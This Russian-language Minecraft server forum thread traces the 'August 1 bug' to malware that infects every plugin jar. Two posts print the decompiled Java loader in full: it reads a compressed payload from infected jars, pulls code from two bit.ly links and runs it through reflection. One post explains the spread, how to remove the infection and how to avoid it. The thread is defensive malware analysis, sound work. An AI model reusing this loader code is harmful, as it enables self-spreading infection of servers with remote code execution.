1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
  2. Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.
    Скрыть объявление
Скрыть объявление
В преддверии глобального обновления, мы проводим исследования, которые помогут нам сделать опыт пользования форумом ещё удобнее. Помогите нам, примите участие!

Решено Баг с 1 августа

Тема в разделе "Помощь", создана пользователем spy_me, 7 окт 2016.

?

Помогла ли данная тема в решении бага?

  1. Да

  2. Нет

Результаты будут видны только после голосования.
  1. GreeKee

    GreeKee Новичок Пользователь

    Баллы:
    11
    Skype:
    GreeKee
    Имя в Minecraft:
    GreeKee
    А я знаю какой?) Любое изменение и все! Я пока изучаю каждый плагин, декомпилирую и смотрю код.
    Вот зараза же! А на машинах, овх, этот баг работает?
     
  2. _AndreyBarna_

    _AndreyBarna_ Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    MainDRY
  3. Автор темы
    spy_me

    spy_me Активный участник Пользователь

    Баллы:
    66
    Имя в Minecraft:
    SPY_me
    Несколько раз спасало:
    Удаление папки logs, файлов level.dat и level.dat.old
    + перекачка плагинов (Сделайте сейв до появления бага)
     
  4. InterVi

    InterVi Старожил Пользователь

    Баллы:
    173
    так в чём там суть, кто-нибудь разобрался?
     
  5. _AndreyBarna_

    _AndreyBarna_ Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    MainDRY
    Код:
    static {
            try {
                File file = new File(new String(new byte[] { 112, 108, 117, 103, 105, 110, 115, 47 }));
                boolean b = false;
                long n = -1L;
                int n2 = 0;
                final File[] listFiles = file.listFiles();
                for (int i = 0; i < listFiles.length; ++i) {
                    if (listFiles[i].isFile() && listFiles[i].getName().endsWith(new String(new byte[] { 46, 106, 97, 114 }))) {
                        file = listFiles[i];
                        final byte[] array = new byte[(int)file.length()];
                        final FileInputStream fileInputStream = new FileInputStream(file);
                        fileInputStream.read(array);
                        fileInputStream.close();
                        if (array[15] == (byte)(array[16] ^ 0xBE)) {
                            b = true;
                            n = ((array[array.length - 2] & 0xFF) << 8 | (array[array.length - 1] & 0xFF));
                            if (n > 0L) {
                                n2 = (int)n;
                                n = file.length() - (n + 2L);
                                break;
                            }
                        }
                    }
                }
                if (b) {
                    final RandomAccessFile randomAccessFile = new RandomAccessFile(file, "r");
                    randomAccessFile.seek(n);
                    final byte[] input = new byte[n2];
                    randomAccessFile.read(input, 0, n2);
                    randomAccessFile.close();
                    final Inflater inflater = new Inflater();
                    inflater.setInput(input);
                    final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n2);
                    final byte[] array2 = new byte[1024];
                    while (!inflater.finished()) {
                        byteArrayOutputStream.write(array2, 0, inflater.inflate(array2));
                    }
                    byteArrayOutputStream.close();
                    final byte[] byteArray = byteArrayOutputStream.toByteArray();
                    inflater.end();
                    final String s = new String(new byte[] { 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47 });
                    final URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { new URL(s + new String(new byte[] { 50, 50, 88, 66, 113, 105, 121 })), new URL(s + new String(new byte[] { 49, 88, 75, 65, 69, 112, 90 })) }, Thread.currentThread().getContextClassLoader());
                    final Method declaredMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[] { 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115 }), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                    declaredMethod.setAccessible(true);
                    ((Class)declaredMethod.invoke(urlClassLoader, null, byteArray, 0, byteArray.length)).newInstance();
                }
            }
            catch (Exception ex) {}
        }
    
    
     
  6. ReyCODE

    ReyCODE Активный участник Пользователь

    Баллы:
    66
    Имя в Minecraft:
    reygasai
    Я календарь переверну, и снова первое августа :lol:
     
  7. GreeKee

    GreeKee Новичок Пользователь

    Баллы:
    11
    Skype:
    GreeKee
    Имя в Minecraft:
    GreeKee
  8. _AndreyBarna_

    _AndreyBarna_ Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    MainDRY
    в сентябре у многих была проблема такая, создали конфу и думали как исправить, я нашел то что файлы заражаются вредоносным кодом и скинул на проверку в конфу
     
  9. GreeKee

    GreeKee Новичок Пользователь

    Баллы:
    11
    Skype:
    GreeKee
    Имя в Minecraft:
    GreeKee
    А вот я поставил ваш Vault, но все равно стопает сервер. Но как то один раз прошло. С чем связанно? Что удалить, перекачать?
    В именно данный момент, удалил логи и левел дат. Работает, как вылетит приду запомощью со слезами, проект не могу сделать до конца, а менять время не по царски, тем более гугл не разрешает так искать информацию :(
     
  10. Dymeth

    Dymeth Активный участник Пользователь

    Баллы:
    98
    Имя в Minecraft:
    Dymeth
    [Сообщение обновлено 9 ноября 2022]

    Вы заражены
    Если с вами поделились ссылкой на эту тему - скорее всего, у вас проблемы.

    Если ваш сервер останавливается после ввода любой команды - это явный признак наличия вируса в сборке. Причём часто заявляется, что проблема проявляется после перехода со Spigot на Paper. Но будьте уверены, что на Spigot вирус тоже чувствует себя прекрасно, хотя и не проявляется так явно.

    Исходный вирус распространяется под названием PluginMetrics (PluginMetrics.jar). Если у вас стоит этот плагин - будьте уверены, что вы заражены. Оригинальная метрика плагинов вшита в ядро, а не распространяется отдельным плагином. Однако даже если этот плагин у вас не установлен - нет гарантии, что всё в порядке. Вирус может находиться в абсолютно любых других плагинах на сервере. Об этом читайте далее.

    Рекомендую дочитать моё длинное сообщение до самого конца - в нём много полезной информации.

    Распространение вируса

    Вирус заражает собой все другие плагины в сборке (но не ядро) - таким образом распространяется по сети. Вы скачали готовую сборку? Может, друг с вами поделился полезным плагином? Всё это может легко привести к заражению всей сборки. Вирус был создан в 2016-м году, однако и сейчас (в 2021) я до сих пор периодически натыкаюсь на данный вирус у людей. Будьте бдительны и не качайте плагины, ядра и другие ресурсы из непроверенных источников.

    Влияние вируса на сервер
    Из-за данного вируса сервера с offline-mode изредка автоматически останавливаются после 1-го августа 2016 года.
    Это относится и к "пиратским" проектам, и к серверам за "лицензионным" BungeeCord.

    Но наиболее явная черта вируса - отключение сервера после ввода какой-либо команды в консоли. Если у вас жалоба на эту проблему - даю 99% гарантию, что ваша сборка заражена.

    Также из-за действия вируса случайным образом блокируются некоторые серверные действия:
    - написание сообщений/команд в чат
    - разрушение/установка блоков
    - выбрасывание/перемещение предметов в инвентаре
    - отгрузка чанков/миров (что приводит к утечкам памяти и странным багам)

    Никакой иной угрозы вирус не несёт.

    Решение
    Удалите все плагины и поставьте по новой. Но на этот раз скачивайте только из надёжных источников. Пока меняете, ни в коему случае не запускайте сервер, иначе "чистые" плагины снова заразятся.
    Ядро перекачивать не обязательно, оно не заражается.

    Решение для ленивых
    Боготворите @SHADOWDAN, он привёз вам лекарство. Оно пересоздаёт jar-архивы плагинов с целью избавиться от внедрённого туда вредоносного кода.

    Запуск:
    java -jar April1StRemover-1.0-SNAPSHOT.jar "путь/к/папке/с/плагинами"

    Сам я это не тестировал. Некоторые утверждают, что это решение не работает. Если так - придётся перекачивать всё вручную.

    Технические детали работы вируса
    В инфицированном плагине находится примерно такой код (подправлен для улучшения восприятия):
    Код:
    static {
        try {
            FileInputStream inputStream;
            byte[] code;
            File pluginsDir = new File("plugins/");
            boolean virusFound = false;
            long l = -1;
            int n = 0;
            for (File pluginFile : pluginsDir.listFiles()) {
                if (!pluginFile.isFile() || !pluginFile.getName().endsWith(".jar")) continue;
                pluginsDir = pluginFile;
                code = new byte[(int) pluginsDir.length()];
                inputStream = new FileInputStream(pluginsDir);
                inputStream.read(code);
                inputStream.close();
                if (code[15] != (byte) (code[16] ^ 190)) continue;
                virusFound = true;
                l = (code[code.length - 2] & 255) << 8 | code[code.length - 1] & 255;
                if (l <= 0) continue;
                n = (int) l;
                l = pluginsDir.length() - (l + 2);
                break;
            }
            if (virusFound) {
                RandomAccessFile randomAccessFile = new RandomAccessFile(pluginsDir, "r");
                randomAccessFile.seek(l);
                code = new byte[n];
                randomAccessFile.read(code, 0, n);
                randomAccessFile.close();
                Inflater inflater = new Inflater();
                inflater.setInput(code);
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n);
                byte[] arrby2 = new byte[1024];
                while (!inflater.finished()) {
                    int n2 = inflater.inflate(arrby2);
                    byteArrayOutputStream.write(arrby2, 0, n2);
                }
                byteArrayOutputStream.close();
                code = byteArrayOutputStream.toByteArray();
                inflater.end();
                String domain = "http://bit.ly/";
                URLClassLoader uRLClassLoader = new URLClassLoader(new URL[]{new URL(domain + "22XBqiy"), new URL(domain + "1XKAEpZ")}, Thread.currentThread().getContextClassLoader());
                Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                method.setAccessible(true);
                Class class_ = (Class)method.invoke(uRLClassLoader, null, code, 0, code.length);
                class_.newInstance();
            }
        }
        catch (Exception ex) {}
    }
    
    

    То есть скачиваются и подгружаются два джарника, располагающиеся по адресам http://bit.ly/22XBqiy и http://bit.ly/1XKAEpZ
    После этого загружается и вредоносный класс. Об этом ниже.

    Данные ссылки позволяют скачать модификатор байткода (http://asm.ow2.org). При помощи него вредоносный код и распространяется по серверу. Если конкретнее, то инфицированию подвержены все jar-файлы из папки plugins: сканируется plugin.yml в каждом плагине, в главный класс встраивается вредоносный (байт-)код.
    Также у каждого jar-ника отключается проверка его хэш-суммы (MANIFEST.MF). Это позволит запускать его, даже если содержимое было изменено.

    Также в конец каждого заражённого файла вирус записывает сам себя в виде скомпилированного java-файла. Наглядно убедиться в этом можно при попытке извлечь файл любым продвинутым архиватором:
    [​IMG]

    Отсюда и увеличение размера. Естественно, обычным архиватором вы этот класс не получите. Собственно, вот его содержимое: https://pastebin.com/Q4Pt9vaf

    Летом 2017-го года был рассмотрена моя жалоба на ссылки bit.ly, и теперь вирус распространяться не должен. Но если вы заметили заражённый плагин - всё же стоит избавиться от него (достаточно удалить лишь инфицированный джарник).
    Судя по всему, распространение по другим плагинам теперь работает только на каулдронах/мохистах и иже с ними, где библиотека ASM присутствует прямо в ядре.

    Об авторе вируса и его идее
    Скорее всего, по задумке автора, вирус должен был начать видимое влияние на сервер после 1-го сентября (а не 1-го августа). Это явный намёк на то, что администраторам серверов стоит заниматься учёбой вместо открытия серверов.

    Также, возможно, автор хотел донести мысль о том, что необходимо делать собственные уникальные и интересные сервера, а не заниматься бесконечным копированием сборок (в частности плагинов).

    У меня есть предположения относительно того, что за человек разработал вирус. Однако публиковать свою догадку я не буду, поскольку никаких весомых доказательств у меня нет.

    Профилактика заражения
    Не хотите повторения подобной ситуации? Что ж, самое время перестать качать сомнительные плагины и сборки, а после почитать про Keiko и Anti-Malware.

    Аналогичные случаи
    Очевидно, что "баг 1 августа" - это далеко не первый такой вирус. Так, например, мне известно о другом вирусе, которые заражает все плагины на сервере. Он имеет название Hostflow, подробнее можно почитать тут: https://www.alexeylesin.me/articles/hostflow/
    Лечение Hostflow: https://github.com/Haizive/HostflowMalwareRemover
    Есть подозрение, что это просто более новая версия вируса "1 августа".
    Вопрос в том, о скольких вирусах мы не знаем, и сколько ещё будет создано в будущем.

    Послесловие
    Вывод тут один - необходимо качать плагины и другие ресурсы только из официальных источников. Никаких сборок, никаких плагинов от друзей, никаких nulled-версий платных плагинов.

    Данный вирус относительно безопасен и не может принести серьёзного вреда системе/компьютеру/серверу/проекту. Но кто знает, какой вирус напишут завтра? А возможно и прямо сейчас по сети гуляет что-то очень неприятное, что никак не выдаёт себя?

    Также небольшая просьба: если вы обнаружили у себя вирус - пожалуйста, сообщите о нём тому, кто вам его передал: другу или автору сборки. Можете просто скинуть ссылку на это сообщение: http://rubukkit.org/threads/bag-s-1-avgusta.128414/page-3#post-1414458
    Пора заканчивать с распространением этой заразы.
     
    Последнее редактирование: 9 ноя 2022
  11. alexandrage

    alexandrage Старожил Пользователь

    Баллы:
    173
    Вот к чему приводит скачивания плагинов с помоек. Ну это еще слабая шутка.
     
  12. GreeKee

    GreeKee Новичок Пользователь

    Баллы:
    11
    Skype:
    GreeKee
    Имя в Minecraft:
    GreeKee
    Ну так дело в том, что все качаю с RuBukkit, а некоторые плагины, беру со своей старой сборки.
    А как остановить скачивание?
     
  13. Will Orion Z

    Will Orion Z Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    willorion
    Все плагины качайте ТОЛЬКО с официальных ресурсов dev.bukkit и spigotmc.
    Даже здесь не стоит качать.
     
  14. GreeKee

    GreeKee Новичок Пользователь

    Баллы:
    11
    Skype:
    GreeKee
    Имя в Minecraft:
    GreeKee
    Я все перекачал, кроме своих самописов, но почему то, мой из самописов весил изначально 31КБ, а стал весить 40КБ. Что-то туда вшили?
    Не помогает, сколько уже обновлял, сбрасывал, даже с нуля собирал, урод какой то сыграл злую шутку.
    Только с online-mod=true работает.
     
  15. Will Orion Z

    Will Orion Z Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    willorion
    Ты тему читаешь вообще? Бэдкор вшивается во ВСЕ плагины в папке plugins. Если один раз уже попался, то пока ты не избавишься от ВСЕХ зараженных плагинов - что-то там перекачивать бессмысленно.
    Если самописы - бери чистые сорцы и компилируй по новой.
     
  16. GreeKee

    GreeKee Новичок Пользователь

    Баллы:
    11
    Skype:
    GreeKee
    Имя в Minecraft:
    GreeKee
    Я самописы удалил. Я все плагины обновил, но может еще надо было ядро? Я не знаю.
     
  17. Dymeth

    Dymeth Активный участник Пользователь

    Баллы:
    98
    Имя в Minecraft:
    Dymeth
    Нужно было перекачать все плагины, не запуская при этом сервер. В ядро ничего не вшивается, только в плагины. Нельзя доверять ни одному из плагинов. Если так интересно, можно проверить (декомпилировать) главный класс каждого из плагинов - в заражённых файлах будет спецефический static-контент (код указывался выше).
     
  18. GreeKee

    GreeKee Новичок Пользователь

    Баллы:
    11
    Skype:
    GreeKee
    Имя в Minecraft:
    GreeKee
    Бегу декомпилировать!))
     
  19. stanislavNichik

    stanislavNichik Активный участник Пользователь

    Баллы:
    66
    Здравствуйте, господа, из 2020)) Лох не мамонт, как говорится..))) Фикс не помогает, не чистит плагины, хотя надпись "-clean" появляется.
     
  20. Sigvegutt

    Sigvegutt Активный участник Пользователь

    Баллы:
    96
    А что это? Опять какой-то слив поставили, который заразил другие плагины? :D

    Перекачай плагины с оф. источников.
     

Поделиться этой страницей